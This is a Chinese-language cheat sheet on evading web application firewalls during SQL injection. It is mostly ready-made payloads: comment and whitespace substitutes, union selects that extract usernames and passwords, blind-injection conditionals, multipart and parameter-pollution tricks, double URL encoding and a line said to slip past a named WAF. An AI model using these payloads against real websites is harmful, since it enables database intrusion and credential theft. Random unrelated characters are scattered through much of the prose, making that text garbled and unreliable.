常見的幾種WAF
- 云WAF(CDN中包含WAF)
通常需要將DNS解析到CDN的IP上去冈在,請求URL時唾戚,數(shù)據(jù)包先經(jīng)過云WAF檢測令杈,通過后再發(fā)送給主機掌敬。 - 主機防護軟件
可用于掃描和保護主機正卧,并監(jiān)聽WEB端口流量是否有惡意的蠢熄,功能較為全面。 - 硬件ips/ids防護炉旷、硬件waf
使用專門硬件防護設(shè)備的方式签孔,當(dāng)向主機請求時,會先將流量經(jīng)過此設(shè)備進行流量清洗和攔截窘行,如果通過再將數(shù)據(jù)包流給主機饥追。
常用占位符號
SQL語句可插入符號位[]:
select * from pwd where id=1[]union[]select[]username,password[]from[]pwd;
可以當(dāng)空格使用的符號
- 注釋符
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00 - 空白字符
SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle: 11g 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15, 16,17,18,19,1A,1B,1C,1D,1E,1F,20
- + -
- ``符號,如 `schema_name`
- ~
- !
- 圓括號()
- @`id` 如select@`id`
- .1 和 /*.1*/
- 單雙引號' ' " "
- 花括號{}
- 常用urlencode:
Urlencode | Urldecode |
---|---|
%0A | \n |
%23 | # |
%2d | - |
%0B | vertical tab |
%0C | new page |
%0D | carriage return |
%A0 | non-breaking space |
%20 | Space |
%09 | Horizontal Tab |
%26 | &(and) |
- 科學(xué)記數(shù)法
- 空格替換:%20, %09, %0a, %0b, %0c, %0d, %a0
可運用的SQL函數(shù)及關(guān)鍵詞
MySQL:
- union
- union distinct
- union all
- union distinctrow
- procedure
- analyse()
- updatexml()
- extracavalue()
- exp()
- ceil()
- atan()
- sqrt()
- floor()
- ceiling()
- tan()
- rand()
- sign()
- greatest()
字符串截取函數(shù)
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串連接函數(shù)
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符轉(zhuǎn)換
Char(49)
Hex('a')
Unhex(61)
如果過濾了逗號
- limit處的逗號: limit 1 offset 0
- 字符串截取處逗號: mid(version() from 1 for 1)
MSSQL:
- IS_SRVROLEMEMBER()
- IS_MEMBER()
- HAS_DBACCESS()
- convert()
- col_name()
- object_id()
- is_srvrolemember()
- is_member()
字符串截取函數(shù)
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
字符串轉(zhuǎn)換函數(shù)
Ascii('a') 這里的函數(shù)可以在括號之間添加空格的罐盔,一些waf過濾不嚴(yán)會導(dǎo)致bypass
Char('97')
exec()
multipart請求中的注入
PHP解析器在解析multipart請求的時候但绕,它以逗號作為邊界,只取boundary,而普通解析器接受整個字符串捏顺。 因此六孵,如果沒有按正確規(guī)范的話,就會出現(xiàn)這么一個狀況:首先填充無害的data幅骄,waf將其視為了一個整體請求劫窒,其實還包含著惡意語句。
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
一個可根據(jù)需要進行修改的HTML表單提交頁面:
<html>
<head></head>
<body>
<form action="http://localhost/sqlilabs/Less-11/index.php" method="post" enctype="multipart/form-data">
<input type="text" name="uname">
<input type="text" name="passwd">
<input type="submit">
</form>
</body>
</html>
HTTP參數(shù)污染
假設(shè)提交的參數(shù)即為:id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
mysql自定義變量
Bypass Payload:
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd
?id=0'|@pwd:=(select user())/**/union/**/select 1,@pwd,3 --+
繞過'='過濾
解決方法:使用like查詢
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
使用sounds like:
'or+(1)sounds/**/like"1"--%a0-
繞過where name= 條件處引號限制
- where username= 0x61646D696E HEX編碼
- where username= CHAR(97, 100, 109, 105, 110) 使用CHAR()函數(shù)
盲注中的條件語句
- SELECT IF(1=1, true, false);
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
- IFNULL()
- NULLIF()
括號的用法
UNION(SELECT(column)FROM(table))
過濾 and or
1 or 1=1 and 1=1
payload:
1 || 1=1 1&& 1=1
我在測試過程中發(fā)現(xiàn)id=1%20%26%201=1--+
才能正確執(zhí)行and語句拆座,&&無效
字符串格式
' or "a"='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下測試無效
' or 'a'=x'61' //16進制
另外主巍,字符型 or and 關(guān)鍵詞不需要加空格,
例如id=1%27and%271%27=%271 \\id=1'and'1'='1
過濾 union select
過濾正則/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
過濾limit
select * from users where id=1;
select * from users group by id having id=1;
特殊的盲注——對比關(guān)鍵字
'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))
盲注中的conv()函數(shù)
conv(字符串挪凑,被轉(zhuǎn)換字符進制煤禽,轉(zhuǎn)換后的進制)
conv(hex('a'),16,10)
reverse截取函數(shù)
reverse('abcdef')='fedcba'
PHP中的PATH_INFO特性
訪問 http://......./3.php?id=1
等價于 http://......./3.php/xxxxxxx?id=1
針對白名單繞過很有效,很多WAF考慮到效率對于后綴為.js .jpg的文件不進行檢查岖赋,故造成繞過
針對http請求數(shù)據(jù)包
畸形method:
某些apache版本在做GET請求的時候檬果,無論method為何值均會取出GET的內(nèi)容。如請求的method名為DOTA唐断,依然會返回GET方法的值选脊,即,可以任意替換GET方法為其它值,但仍能有效工作脸甘,但如果waf嚴(yán)格按照GET方法取值恳啥,則取不到任何內(nèi)容
cookie:
某些參數(shù)通過GET,POST,COOKIE進行傳送,故Cookie處亦可以進行注入
雙重URL編碼
雙重URL編碼: 即web應(yīng)用層在接受到經(jīng)過服務(wù)器層解碼后的參數(shù)后丹诀,又進行了一次URL解碼
我們可以將sql語句urlencode兩次進行注入
mysql語句可以換行的特性
由于mysql類似C語言钝的,將 ; 符號作為一條語句的結(jié)束,故可以在注入語句中加入換行符搭配注釋符使用:
id=1'+union--+aaaaaaaaaaaaa%0ASelect--+bbbbbbbbb%0Auser,passwd/**/from%23%0Auser;%00
即
id=1' union--+aaaaaaaaaaaaaaaaaaaaaaaaaa
Select--+bbbbbbbbbbbbbbbbb
user,passwd from#bbbbbbbbbbbbbbbbb
user;bbbbbbbbbbb
實例:
?id=0%27union--+aaaaaa%0Aselect--+bbbbbb%0A1,2,3--+
搞不懂的/!*...*/ (可過360)
id=1 union/*!/*!select 1,2,3*/from dual